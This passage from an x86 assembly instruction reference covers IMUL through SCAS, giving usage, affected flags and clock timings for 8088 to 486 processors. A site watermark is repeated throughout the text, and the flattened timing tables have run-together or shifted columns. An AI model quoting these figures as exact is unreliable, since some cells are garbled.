(AF,PF,SF,ZF undefined) Signed multiplication of accumulator by "src" with result placed in the accumulator. If the source operand is a byte value, it is multiplied by AL and the result stored in AX. If the source operand is a word value it is multiplied by AX and the result is stored in DX:AX. Other variations of this instruction allow specification of source and destination registers as well as a third immediate factor. Clocks Size Operands 808x 286 386 486 Bytes reg8 80-98 13 9-14 13-18 2 reg16 128- 154 21 9-22 13-26 2 reg32 - - 9-38 12-42 2 mem8 86-104 16 12-17 13-18 2-4 mem16 134-160 24 12-25 13-26 2-4 mem32 - - 12-41 13- 42 2-4 reg16,reg16 - - 9-22 13-26 3-5 reg32,reg32 - - 9-38 13-42 3-5 reg16,mem16 - - 12-25 13-26 3-5 reg32,mem32 - - 12-41 13-42 3-5 reg16,immed - 21 9-22 13-26 3 reg32,immed - 21 9-38 13-42 3-6 reg16,reg16,immed - 2 9-22 13-26 网络安全屋 3-6 reg32,reg32,immed - 21 9-38 13-42 3-6 reg16,mem16,immed - 24 12-25 13-26 3-6 reg32,mem32,immed - 24 12-41 13-42 3-6 IN - Input Byte or Word From Port Usage: IN accum,port Modifies flags: None A byte, word or dword is read from "port" and placed in AL, AX or EAX respectively. If the port number is in the range of 0-255 it can be specified as an immediate, otherwise the port number must be specified in DX. Valid port ranges on the PC are 0-1024, though values through 65535 may be specified and recognized by third party vendors and PS/2's. Clocks Size Operands 808x 286 386 486 Bytes accum,immed8 10/14 5 12 14 2 accum,immed8 (PM) 6/26 8/28/27 2 accum,DX 8/12 5 13 14 1 accum,DX (PM) 7/27 8/28/27 1 - 386+ protected mode timings depend on privilege levels. first number is the timing if: CPL ?IOPL second number is the timing if: CPL > IOPL or in VM 86 mode (386) CPL ?IOPL (486) third number is the timing when: virtual mode on 486 processor - 486 virtual mode always requires 27 cycles INC - Increment Usage: INC dest Modifies flags: AF OF PF SF ZF Adds one to destination unsigned binary operand. Clocks Size Operands 808x 286 386 486 Bytes reg8 3 2 2 1 2 reg16 3 2 2 1 1 reg32 3 2 2 1 1 mem 15+EA 7 6 3 2-4 (W88=23+EA) INS - Input String from Port (80188+) Usage: INS dest,port 网络安全屋 INSB INSW INSD (386+) Modifies flags: None Loads data from port to the destination ES:(E)DI (even if a destination operand is supplied). (E)DI is adjusted by the size of the operand and increased if the Direction Flag is cleared and decreased if the Direction Flag is set. For INSB, INSW, INSD no operands are allowed and the size is determined by the mnemonic. Clocks Size Operands 808x 286 386 486 Bytes dest,port - 5 15 17 1 dest,port (PM) - 5 9/29 10/32/30 1 none - 5 15 17 1 none (PM) - 5 9/29 10/32/30 1 - 386+ protected mode timings depend on privilege levels. first number is the timing if: CPL ?IOPL second number is the timing if: CPL > IOPL third number is the timing if: virtual mode on 486 processor INT - Interrupt Usage: INT num Modifies flags: TF IF Initiates a software interrupt by pushing the flags, clearing the Trap and Interrupt Flags, pushing CS followed by IP and loading CS:IP with the value found in the interrupt vector table. Execution then begins at the location addressed by the new CS:IP Clocks Size Operands 808x 286 386 486 Bytes 3 (constant) 52/72 23+m 33 26 2 3 (prot. mode, same priv.) - 40+m 59 44 2 3 (prot. mode, more priv.) - 78+m 99 71 2 3 (from VM86 to PL 0) - - 119 82 2 3 (prot. mode via task gate) - 167+m TS 37+TS 2 immed8 51/71 23+m 37 30 1 immed8 (prot. mode, same priv.) - 40+m 59 44 1 immed8 (prot. mode, more priv.) - 78+m 99 71 1 immed8 (from VM86 to PL 0) - - 119 86 1 immed8 (prot. mode, via task gate) - 167+m TS 37+TS 1 INTO - Interrupt on Overflow Usage: INTO 网络安全屋 Modifies flags: IF TF If the Overflow Flag is set this instruction generates an INT 4 which causes the code addressed by 0000:0010 to be executed. Clocks Size Operands 808x 286 386 486 Bytes none: jump 53/73 24+m 35 28 1 no jump 4 3 3 3 (prot. mode, same priv.) - - 59 46 1 (prot. mode, more priv.) - - 99 73 1 (from VM86 to PL 0) - - 119 84 1 (prot. mode, via task gate) - TS 39+TS 1 INVD - Invalidate Cache (486+) Usage: INVD Modifies flags: none Flushes CPU internal cache. Issues special function bus cycle which indicates to flush external caches. Data in write-back external caches is lost. Clocks Size Operands 808x 286 386 486 Bytes none - - - 4 2 INVLPG - Invalidate Translation Look-Aside Buffer Entry (486+) Usage: INVLPG Modifies flags: none Invalidates a single page table entry in the Translation Look- Aside Buffer. Intel warns that this instruction may be implemented differently on future processors. Clocks Size Operands 808x 286 386 486 Bytes none - - - 12 2 - timing is for TLB entry hit only. IRET/IRETD - Interrupt Return Usage: IRET IRETD (386+) Modifies flags: AF CF DF IF PF SF TF ZF 网络安全屋 Returns control to point of interruption by popping IP, CS and then the Flags from the stack and continues execution at this location. CPU exception interrupts will return to the instruction that cause the exception because the CS:IP placed on the stack during the interrupt is the address of the offending instruction. Clocks Size Operands 808x 286 386 486 Bytes iret 32/44 17+m 22 15 1 iret (prot. mode) - 31+m 38 15 1 iret (to less privilege) - 55+m 82 36 1 iret (different task, NT=1) - 169+m TS TS+32 1 iretd - - 22/38 15 1 iretd (to less privilege) - - 82 36 1 iretd (to VM86 mode) - - 60 15 1 iretd (different task, NT=1) - - TS TS+32 1 - 386 timings are listed as real-mode/protected-mode Jxx - Jump Instructions Table Mnemonic Meaning Jump Condition JA Jump if Above CF=0 and ZF=0 JAE Jump if Above or Equal CF=0 JB Jump if Below CF=1 JBE Jump if Below or Equal CF=1 or ZF=1 JC Jump if Carry CF=1 JCXZ Jump if CX Zero CX=0 JE Jump if Equal ZF=1 JG Jump if Greater (signed) ZF=0 and SF=OF JGE Jump if Greater or Equal (signed) SF=OF JL Jump if Less (signed) SF != OF JLE Jump if Less or Equal (signed) ZF=1 or SF != OF JMP Unconditional Jump unconditional JNA Jump if Not Above CF=1 or ZF=1 JNAE Jump if Not Above or Equal CF=1 JNB Jump if Not Below CF=0 JNBE Jump if Not Below or Equal CF=0 and ZF=0 JNC Jump if Not Carry CF=0 JNE Jump if Not Equal ZF=0 JNG Jump if Not Greater (signed) ZF=1 or SF != OF JNGE Jump if Not Greater or Equal (signed) SF != OF JNL Jump if Not Less (signed) SF=OF JNLE Jump if Not Less or Equal (signed) ZF=0 and SF=OF JNO Jump if Not Overflow (signed) OF=0 JNP Jump if No Parity PF=0 JNS Jump if Not Signed (signed) SF=0 JNZ Jump if Not Zero ZF=0 JO Jump if Overflow (signed) OF=1 JP Jump if Parity PF=1 网络安全屋 JPE Jump if Parity Even PF=1 JPO Jump if Parity Odd PF=0 JS Jump if Signed (signed) SF=1 JZ Jump if Zero ZF=1 Clocks Size Operands 808x 286 386 486 Bytes Jx: jump 16 7+m 7+m 3 2 no jump 4 3 3 1 Jx near-label - - 7+m 3 4 no jump - - 3 1 - It's a good programming practice to organize code so the expected case is executed without a jump since the actual jump takes longer to execute than falling through the test. - see JCXZ and JMP for their respective timings JCXZ/JECXZ - Jump if Register (E)CX is Zero Usage: JCXZ label JECXZ label (386+) Modifies flags: None Causes execution to branch to "label" if register CX is zero. Uses unsigned comparision. Clocks Size Operands 808x 286 386 486 Bytes label: jump 18 8+m 9+m 8 2 no jump 6 4 5 5 JMP - Unconditional Jump Usage: JMP target Modifies flags: None Unconditionally transfers control to "label". Jumps by default are within - 32768 to 32767 bytes from the instruction following the jump. NEAR and SHORT jumps cause the IP to be updated while FAR jumps cause CS and IP to be updated. Clocks Operands 808x 286 386 486 rel8 (relative) 15 7+m 7+m 3 rel16 (relative) 15 7+m 7+m 3 rel32 (relative) - - 7+m 3 reg16 (near, register indirect) 11 7+m 7+m 5 reg32 (near, register indirect) - - 7+m 5 mem16 (near, mem indirect) 18+EA 11+m 10+m 5 网络安全屋 mem32 (near, mem indirect) 24+EA 15+m 10+m 5 ptr16:16 (far, dword immed) - - 12+m 17 ptr16:16 (far, PM dword immed) - - 27+m 19 ptr16:16 (call gate, same priv.) - 38+m 45+m 32 ptr16:16 (via TSS) - 175+m TS 42+TS ptr16:16 (via task gate) - 180+m TS 43+TS mem16:16 (far, indirect) - - 43+m 13 mem16:16 (far, PM indirect) - - 31+m 18 mem16:16 (call gate, same priv.) - 41+m 49+m 31 mem16:16 (via TSS) - 178+m 5+TS 41+TS mem16:16 (via task gate) - 183+m 5+TS 42+TS ptr16:32 (far, 6 byte immed) - - 12+m 13 ptr16:32 (far, PM 6 byte immed) - - 27+m 18 ptr16:32 (call gate, same priv.) - - 45+m 31 ptr16:32 (via TSS) - - TS 42+TS ptr16:32 (via task state) - - TS 43+TS m16:32 (far, address at dword) - - 43+m 13 m16:32 (far, address at dword) - - 31+m 18 m16:32 (call gate, same priv.) - - 49+m 31 m16:32 (via TSS) - - 5+TS 41+TS m16:32 (via task state) - - 5+TS 42+TS LAHF - Load Register AH From Flags Usage: LAHF Modifies flags: None Copies bits 0-7 of the flags register into AH. This includes flags AF, CF, PF, SF and ZF other bits are undefined. AH := SF ZF xx AF xx PF xx CF Clocks Size Operands 808x 286 386 486 Bytes none 4 2 2 3 1 LAR - Load Access Rights (286+ protected) Usage: LAR dest,src Modifies flags: ZF The high byte of the of the destination register is overwritten by the value of the access rights byte and the low order byte is zeroed depending on the selection in the source operand. The Zero Flag is set if the load operation is successful. Clocks Size Operands 808x 286 386 486 Bytes reg16,reg16 - 14 15 11 3 reg32,reg32 - - 15 11 3 reg16,mem16 - 16 16 11 3-7 reg32,mem32 - - 16 11 3-7 网络安全屋 LDS - Load Pointer Using DS Usage: LDS dest,src Modifies flags: None Loads 32-bit pointer from memory source to destination register and DS. The offset is placed in the destination register and the segment is placed in DS. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table. Clocks Size Operands 808x 286 386 486 Bytes reg16,mem32 16+EA 7 7 6 2-4 reg,mem (PM) - - 22 12 5-7 LEA - Load Effective Address Usage: LEA dest,src Modifies flags: None Transfers offset address of "src" to the destination register. Clocks Size Operands 808x 286 386 486 Bytes reg,mem 2+EA 3 2 1 2-4 - the MOV instruction can often save clock cycles when used in place of LEA on 8088 processors LEAVE - Restore Stack for Procedure Exit (80188+) Usage: LEAVE Modifies flags: None Releases the local variables created by the previous ENTER instruction by restoring SP and BP to their condition before the procedure stack frame was initialized. Clocks Size Operands 808x 286 386 486 Bytes none - 5 4 5 1 LES - Load Pointer Using ES 网络安全屋 Usage: LES dest,src Modifies flags: None Loads 32-bit pointer from memory source to destination register and ES. The offset is placed in the destination register and the segment is placed in ES. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table. Clocks Size Operands 808x 286 386 486 Bytes reg,mem 16+EA 7 7 6 2-4 (W88=24+EA) reg,mem (PM) - - 22 12 5-7 LFS - Load Pointer Using FS (386+) Usage: LFS dest,src Modifies flags: None Loads 32-bit pointer from memory source to destination register and FS. The offset is placed in the destination register and the segment is placed in FS. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table. Clocks Size Operands 808x 286 386 486 Bytes reg,mem - - 7 6 5-7 reg,mem (PM) - - 22 12 5-7 LGDT - Load Global Descriptor Table (286+ privileged) Usage: LGDT src Modifies flags: None Loads a value from an operand into the Global Descriptor Table (GDT) register. Clocks Size Operands 808x 286 386 486 Bytes mem64 - 11 11 11 5 网络安全屋 LIDT - Load Interrupt Descriptor Table (286+ privileged) Usage: LIDT src Modifies flags: None Loads a value from an operand into the Interrupt Descriptor Table (IDT) register. Clocks Size Operands 808x 286 386 486 Bytes mem64 - 12 11 11 5 LGS - Load Pointer Using GS (386+) Usage: LGS dest,src Modifies flags: None Loads 32-bit pointer from memory source to destination register and GS. The offset is placed in the destination register and the segment is placed in GS. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table. Clocks Size Operands 808x 286 386 486 Bytes reg,mem - - 7 6 5-7 reg,mem (PM) - - 22 12 5-7 LLDT - Load Local Descriptor Table (286+ privileged) Usage: LLDT src Modifies flags: None Loads a value from an operand into the Local Descriptor Table Register (LDTR). Clocks Size Operands 808x 286 386 486 Bytes reg16 - 17 20 11 3 mem16 - 19 24 11 5 LMSW - Load Machine Status Word (286+ privileged) Usage: LMSW src Modifies flags: None 网络安全屋 Loads the Machine Status Word (MSW) from data found at "src" Clocks Size Operands 808x 286 386 486 Bytes reg16 - 3 10 13 3 mem16 - 6 13 13 5 LOCK - Lock Bus Usage: LOCK LOCK: (386+ prefix) Modifies flags: None This instruction is a prefix that causes the CPU assert bus lock signal during the execution of the next instruction. Used to avoid two processors from updating the same data location. The 286 always asserts lock during an XCHG with memory operands. This should only be used to lock the bus prior to XCHG, MOV, IN and OUT instructions. Clocks Size Operands 808x 286 386 486 Bytes none 2 0 0 1 1 LODS - Load String (Byte, Word or Double) Usage: LODS src LODSB LODSW LODSD (386+) Modifies flags: None Transfers string element addressed by DS:SI (even if an operand is supplied) to the accumulator. SI is incremented based on the size of the operand or based on the instruction used. If the Direction Flag is set SI is decremented, if the Direction Flag is clear SI is incremented. Use with REP prefixes. Clocks Size Operands 808x 286 386 486 Bytes src 12/16 5 5 5 1 LOOP - Decrement CX and Loop if CX Not Zero Usage: LOOP label Modifies flags: None 网络安全屋 Decrements CX by 1 and transfers control to "label" if CX is not Zero. The "label" operand must be within -128 or 127 bytes of the instruction following the loop instruction Clocks Size Operands 808x 286 386 486 Bytes label: jump 18 8+m 11+m 6 2 no jump 5 4 ? 2 LOOPE/LOOPZ - Loop While Equal / Loop While Zero Usage: LOOPE label LOOPZ label Modifies flags: None Decrements CX by 1 (without modifying the flags) and transfers control to "label" if CX != 0 and the Zero Flag is set. The "label" operand must be within -128 or 127 bytes of the instruction following the loop instruction. Clocks Size Operands 808x 286 386 486 Bytes label: jump 18 8+m 11+m 9 2 no jump 5 4 ? 6 LOOPNZ/LOOPNE - Loop While Not Zero / Loop While Not Equal Usage: LOOPNZ label LOOPNE label Modifies flags: None Decrements CX by 1 (without modifying the flags) and transfers control to "label" if CX != 0 and the Zero Flag is clear. The "label" operand must be within -128 or 127 bytes of the instruction following the loop instruction. Clocks Size Operands 808x 286 386 486 Bytes label: jump 19 8+m 11+m 9 2 no jump 5 4 ? 6 LSL - Load Segment Limit (286+ protected) Usage: LSL dest,src 网络安全屋 Modifies flags: ZF Loads the segment limit of a selector into the destination register if the selector is valid and visible at the current privilege level. If loading is successful the Zero Flag is set, otherwise it is cleared. Clocks Size Operands 808x 286 386 486 Bytes reg16,reg16 - 14 20/25 10 3 reg32,reg32 - - 20/25 10 3 reg16,mem16 - 16 21/26 10 5 reg32,mem32 - - 21/26 10 5 - 386 times are listed "byte granular" / "page granular" LSS - Load Pointer Using SS (386+) Usage: LSS dest,src Modifies flags: None Loads 32-bit pointer from memory source to destination register and SS. The offset is placed in the destination register and the segment is placed in SS. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table. Clocks Size Operands 808x 286 386 486 Bytes reg,mem - - 7 6 5-7 reg,mem (PM) - - 22 12 5-7 LTR - Load Task Register (286+ privileged) Usage: LTR src Modifies flags: None Loads the current task register with the value specified in "src". Clocks Size Operands 808x 286 386 486 Bytes reg16 - 17 23 20 3 mem16 - 19 27 20 5 MOV - Move Byte or Word Usage: MOV dest,src 网络安全屋 Modifies flags: None Copies byte or word from the source operand to the destination operand. If the destination is SS interrupts are disabled except on early buggy 808x CPUs. Some CPUs disable interrupts if the destination is any of the segment registers Clocks Size Operands 808x 286 386 486 Bytes reg,reg 2 2 2 1 2 mem,reg 9+EA 3 2 1 2-4 (W88=13+EA) reg,mem 8+EA 5 4 1 2-4 (W88=12+EA) mem,immed 10+EA 3 2 1 3-6 (W88=14+EA) reg,immed 4 2 2 1 2-3 mem,accum 10 3 2 1 3 (W88=14) accum,mem 10 5 4 1 3 (W88=14) segreg,reg16 2 2 2 3 2 segreg,mem16 8+EA 5 5 9 2-4 (W88=12+EA) reg16,segreg 2 2 2 3 2 mem16,segreg 9+EA 3 2 3 2-4 (W88=13+EA) reg32,CR0/CR2/CR3 - - 6 4 CR0,reg32 - - 10 16 CR2,reg32 - - 4 4 3 CR3,reg32 - - 5 4 3 reg32,DR0/DR1/DR2/DR3 - 22 10 3 reg32,DR6/DR7 - - 22 10 3 DR0/DR1/DR2/DR3,reg32 - 22 11 3 DR6/DR7,reg32 - - 16 11 3 reg32,TR6/TR7 - - 12 4 3 TR6/TR7,reg32 - - 12 4 3 reg32,TR3 3 TR3,reg32 6 - when the 386 special registers are used all operands are 32 bits MOVS - Move String (Byte or Word) Usage: MOVS dest,src MOVSB MOVSW MOVSD (386+) Modifies flags: None Copies data from addressed by DS:SI (even if operands are given) to the location ES:DI destination and updates SI and DI based on the size of the operand or instruction used. SI and DI are incremented when the Direction Flag is cleared and decremented when the Direction Flag is Set. Use with REP prefixes. Clocks Size Operands 808x 286 386 486 Bytes dest,src 18 5 7 7 1 (W88=26) 网络安全屋 MOVSX - Move with Sign Extend (386+) Usage: MOVSX dest,src Modifies flags: None Copies the value of the source operand to the destination register with the sign extended. Clocks Size Operands 808x 286 386 486 Bytes reg,reg - - 3 3 3 reg,mem - - 6 3 3-7 MOVZX - Move with Zero Extend (386+) Usage: MOVZX dest,src Modifies flags: None Copies the value of the source operand to the destination register with the zeroes extended. Clocks Size Operands 808x 286 386 486 Bytes reg,reg - - 3 3 3 reg,mem - - 6 3 3-7 MUL - Unsigned Multiply Usage: MUL src Modifies flags: CF OF (AF,PF,SF,ZF undefined) Unsigned multiply of the accumulator by the source. If "src" is a byte value, then AL is used as the other multiplicand and the result is placed in AX. If "src" is a word value, then AX is multiplied by "src" and DX:AX receives the result. If "src" is a double word value, then EAX is multiplied by "src" and EDX:EAX receives the result. The 386+ uses an early out algorithm which makes multiplying any size value in EAX as fast as in the 8 or 16 bit registers. Clocks Size Operands 808x 286 386 486 Bytes reg8 70-77 13 9-14 13-18 2 reg16 118- 113 21 9-22 13-26 2 reg32 - - 9-38 13-42 2-4 mem8 (76-83)+EA 16 12-17 13-18 2-4 mem16 (124-139)+EA 24 12-25 13-26 2-4 mem32 - - 12- 21 13-42 2-4 网络安全屋 NEG - Two's Complement Negation Usage: NEG dest Modifies flags: AF CF OF PF SF ZF Subtracts the destination from 0 and saves the 2s complement of "dest" back into "dest". Clocks Size Operands 808x 286 386 486 Bytes reg 3 2 2 1 2 mem 16+EA 7 6 3 2-4 (W88=24+EA) NOP - No Operation (90h) Usage: NOP Modifies flags: None This is a do nothing instruction. It results in occupation of both space and time and is most useful for patching code segments. (This is the original XCHG AL,AL instruction) Clocks Size Operands 808x 286 386 486 Bytes none 3 3 3 1 1 NOT - One's Compliment Negation (Logical NOT) Usage: NOT dest Modifies flags: None Inverts the bits of the "dest" operand forming the 1s complement. Clocks Size Operands 808x 286 386 486 Bytes reg 3 2 2 1 2 mem 16+EA 7 6 3 2-4 (W88=24+EA) OR - Inclusive Logical OR Usage: OR dest,src Modifies flags: CF OF PF SF ZF (AF undefined) 网络安全屋 Logical inclusive OR of the two operands returning the result in the destination. Any bit set in either operand will be set in the destination. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 7 3 2-4 (W88=24+EA) reg,mem 9+EA 7 6 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem8,immed8 17+EA 7 7 3 3-6 mem16,immed16 25+EA 7 7 3 3-6 accum,immed 4 3 2 1 2-3 OUT - Output Data to Port Usage: OUT port,accum Modifies flags: None Transfers byte in AL,word in AX or dword in EAX to the specified hardware port address. If the port number is in the range of 0-255 it can be specified as an immediate. If greater than 255 then the port number must be specified in DX. Since the PC only decodes 10 bits of the port address, values over 1023 can only be decoded by third party vendor equipment and also map to the port range 0-1023. Clocks Size Operands 808x 286 386 486 Bytes immed8,accum 10/14 3 10 16 2 immed8,accum (PM) - - 4/24 11/31/29 2 DX,accum 8/12 3 11 16 1 DX,accum (PM) - - 5/25 10/30/29 1 - 386+ protected mode timings depend on privilege levels. first number is the timing when: CPL ≤ IOPL second number is the timing when: CPL > IOPL third number is the timing when: virtual mode on 486 processor OUTS - Output String to Port (80188+) Usage: OUTS port,src OUTSB OUTSW OUTSD (386+) Modifies flags: None Transfers a byte, word or doubleword from "src" to the hardware port specified in DX. For instructions with no operands the "src" is located at DS:SI and SI is incremented or decremented by the size of the 网络安全屋 operand or the size dictated by the instruction format. When the Direction Flag is set SI is decremented, when clear, SI is incremented. If the port number is in the range of 0-255 it can be specified as an immediate. If greater than 255 then the port number must be specified in DX. Since the PC only decodes 10 bits of the port address, values over 1023 can only be decoded by third party vendor equipment and also map to the port range 0-1023. Clocks Size Operands 808x 286 386 486 Bytes port,src - 5 14 17 1 port,src (PM) - - 8/28 10/32/30 1 - 386+ protected mode timings depend on privilege levels. first number is the timing when: CPL ≤ IOPL second number is the timing when: CPL > IOPL third number is the timing when: virtual mode on 486 processor POP - Pop Word off Stack Usage: POP dest Modifies flags: None Transfers word at the current stack top (SS:SP) to the destination then increments SP by two to point to the new stack top. CS is not a valid destination. Clocks Size Operands 808x 286 386 486 Bytes reg16 8 5 4 4 1 reg32 4 - - 4 1 segreg 8 5 7 3 1 mem16 17+EA 5 5 6 2-4 mem32 5 - - 6 2- 4 POPA/POPAD - Pop All Registers onto Stack (80188+) Usage: POPA POPAD (386+) Modifies flags: None Pops the top 8 words off the stack into the 8 general purpose 16/32 bit registers. Registers are popped in the following order: (E)DI, (E)SI, (E)BP, (E)SP, (E)DX, (E)CX and (E)AX. The (E)SP value popped from the stack is actually discarded. Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 none - 19 24 9 1 POPF/POPFD - Pop Flags off Stack Usage: POPF POPFD (386+) Modifies flags: all flags Pops word/doubleword from stack into the Flags Register and then increments SP by 2 (for POPF) or 4 (for POPFD). Clocks Size Operands 808x 286 386 486 Bytes none 8/12 5 5 9 1 (W88=12) none (PM) - - 5 6 1 PUSH - Push Word onto Stack Usage: PUSH src PUSH immed (80188+ only) Modifies flags: None Decrements SP by the size of the operand (two or four, byte values are sign extended) and transfers one word from source to the stack top (SS:SP). Clocks Size Operands 808x 286 386 486 Bytes reg16 11/15 3 2 1 1 reg32 - - 2 1 1 mem16 16+EA 5 5 4 2-4 (W88=24+EA) mem32 - - 5 4 2-4 segreg 10/14 3 2 3 1 immed - 3 2 1 2-3 PUSHA/PUSHAD - Push All Registers onto Stack (80188+) Usage: PUSHA PUSHAD (386+) Modifies flags: None Pushes all general purpose registers onto the stack in the following order: (E)AX, (E)CX, (E)DX, (E)BX, (E)SP, (E)BP, (E)SI, (E)DI. The value of SP is the value before the actual push of SP. Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 none - 19 24 11 1 PUSHF/PUSHFD - Push Flags onto Stack Usage: PUSHF PUSHFD (386+) Modifies flags: None Transfers the Flags Register onto the stack. PUSHF saves a 16 bit value while PUSHFD saves a 32 bit value. Clocks Size Operands 808x 286 386 486 Bytes none 10/14 3 4 4 1 none (PM) - - 4 3 1 RCL - Rotate Through Carry Left Usage: RCL dest,count Modifies flags: CF OF +-+ +---------------+ +-+|C|<+--+|7 <---------- 0|<-+ | +-+ +---------------+ | +-----------------------------+ Rotates the bits in the destination to the left "count" times with all data pushed out the left side re-entering on the right. The Carry Flag holds the last bit rotated out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 9 3 2 mem,1 15+EA 7 10 4 2-4 (W88=23+EA) reg,CL 8+4n 5+n 9 8-30 2 mem,CL 20+EA+4n 8+n 10 9-31 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 9 8-30 3 mem,immed8 - 8+n 10 9-31 3-5 RCR - Rotate Through Carry Right Usage: RCR dest,count Modifies flags: CF OF +---------------+ +-+ +->|7 +---------> 0|+--->|C|+-+ | +---------------+ +-+ | 网络安全屋 +-----------------------------+ Rotates the bits in the destination to the right "count" times with all data pushed out the right side re-entering on the left. The Carry Flag holds the last bit rotated out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 9 3 2 mem,1 15+EA 7 10 4 2-4 (W88=23+EA) reg,CL 8+4n 5+n 9 8-30 2 mem,CL 20+EA+4n 8+n 10 9-31 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 9 8-30 3 mem,immed8 - 8+n 10 9-31 3-5 REP - Repeat String Operation Usage: REP Modifies flags: None Repeats execution of string instructions while CX != 0. After each string operation, CX is decremented and the Zero Flag is tested. The combination of a repeat prefix and a segment override on CPU's before the 386 may result in errors if an interrupt occurs before CX=0. The following code shows code that is susceptible to this and how to avoid it: again: rep movs byte ptr ES:[DI],ES:[SI] ; vulnerable instr. jcxz next ; continue if REP successful loop again ; interrupt goofed count next: Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 1 REPE/REPZ - Repeat Equal / Repeat Zero Usage: REPE REPZ Modifies flags: None Repeats execution of string instructions while CX != 0 and the Zero Flag is set. CX is decremented and the Zero Flag tested after each string operation. The combination of a repeat prefix and a segment override on processors other than the 386 may result in errors if an interrupt occurs before CX=0. Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 none 2 2 2 1 REPNE/REPNZ - Repeat Not Equal / Repeat Not Zero Usage: REPNE REPNZ Modifies flags: None Repeats execution of string instructions while CX != 0 and the Zero Flag is clear. CX is decremented and the Zero Flag tested after each string operation. The combination of a repeat prefix and a segment override on processors other than the 386 may result in errors if an interrupt occurs before CX=0. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 1 RET/RETF - Return From Procedure Usage: RET nBytes RETF nBytes RETN nBytes Modifies flags: None Transfers control from a procedure back to the instruction address saved on the stack. "n bytes" is an optional number of bytes to release. Far returns pop the IP followed by the CS, while near returns pop only the IP register. Clocks Size Operands 808x 286 386 486 Bytes retn 16/20 11+m 10+m 5 1 retn immed 20/24 11+m 10+m 5 3 retf 26/34 15+m 18+m 13 1 retf (PM, same priv.) - 32+m 18 1 retf (PM, lesser priv.) - 68 33 1 retf immed 25/33 15+m 18+m 14 3 retf immed (PM, same priv.) 32+m 17 1 retf immed (PM, lesser priv.) 68 33 1 ROL - Rotate Left Usage: ROL dest,count Modifies flags: CF OF +-+ +---------------+ 网络安全屋 |C|<++-+|7 <---------- 0|<-+ +-+ | +---------------+ | +---------------------+ Rotates the bits in the destination to the left "count" times with all data pushed out the left side re-entering on the right. The Carry Flag will contain the value of the last bit rotated out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 3 3 2 mem,1 15+EA 7 7 4 2-4 (W88=23+EA) reg,CL 8+4n 5+n 3 3 2 mem,CL 20+EA+4n 8+n 7 4 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 3 2 3 mem,immed8 - 8+n 7 4 3-5 ROR - Rotate Right Usage: ROR dest,count Modifies flags: CF OF +---------------+ +-+ +->|7 +---------> 0|+-+->|C| | +---------------+ | +-+ +---------------------+ Rotates the bits in the destination to the right "count" times with all data pushed out the right side re-entering on the left. The Carry Flag will contain the value of the last bit rotated out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 3 3 2 mem,1 15+EA 7 7 4 2-4 (W88=23+EA) reg,CL 8+4n 5+n 3 3 2 mem,CL 20+EA+4n 8+n 7 4 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 3 2 3 mem,immed8 - 8+n 7 4 3-5 SAHF - Store AH Register into FLAGS Usage: SAHF Modifies flags: AF CF PF SF ZF Transfers bits 0-7 of AH into the Flags Register. This includes AF, CF, PF, SF and ZF. Clocks Size 网络安全屋 Operands 808x 286 386 486 Bytes none 4 2 3 2 1 SAL/SHL - Shift Arithmetic Left / Shift Logical Left Usage: SAL dest,count SHL dest,count Modifies flags: CF OF PF SF ZF (AF undefined) +-+ +---------------+ +-+ |C|<---+|7 <---------- 0|<---+|0| +-+ +---------------+ +-+ Shifts the destination left by "count" bits with zeroes shifted in on right. The Carry Flag contains the last bit shifted out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 3 3 2 mem,1 15+EA 7 7 4 2-4 (W88=23+EA) reg,CL 8+4n 5+n 3 3 2 mem,CL 20+EA+4n 8+n 7 4 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 3 2 3 mem,immed8 - 8+n 7 4 3-5 SAR - Shift Arithmetic Right Usage: SAR dest,count Modifies flags: CF OF PF SF ZF (AF undefined) +---------------+ +-+ +-+|7 ----------> 0|---+>|C| | +---------------+ +-+ +---^ Shifts the destination right by "count" bits with the current sign bit replicated in the leftmost bit. The Carry Flag contains the last bit shifted out. Clocks Size Operands 808x 286 386 486 Bytes reg,1 2 2 3 3 2 mem,1 15+EA 7 7 4 2-4 (W88=23+EA) reg,CL 8+4n 5+n 3 3 2 mem,CL 20+EA+4n 8+n 7 4 2-4 (W88=28+EA+4n) reg,immed8 - 5+n 3 2 3 mem,immed8 - 8+n 7 4 3-5 网络安全屋 SBB - Subtract with Borrow/Carry Usage: SBB dest,src Modifies flags: AF CF OF PF SF ZF Subtracts the source from the destination, and subtracts 1 extra if the Carry Flag is set. Results are returned in "dest". Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 6 3 2-4 (W88=24+EA) reg,mem 9+EA 7 7 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 17+EA 7 7 3 3-6 (W88=25+EA) accum,immed 4 3 2 1 2-3 SCAS - Scan String (Byte, Word or Doubleword) Usage: SCAS string SCASB SCASW SCASD (386+) Modifies flags: AF CF OF PF SF ZF Compares value at ES:DI (even if operand is specified) from the accumulator and sets the flags similar to a subtraction. DI is incremented/decremented based on the instruction format (or operand size) and the state of the Direction Flag. Use with REP prefixes. Clocks Size Operands 808x 286 386 486 Bytes string 15 7 7 6 1 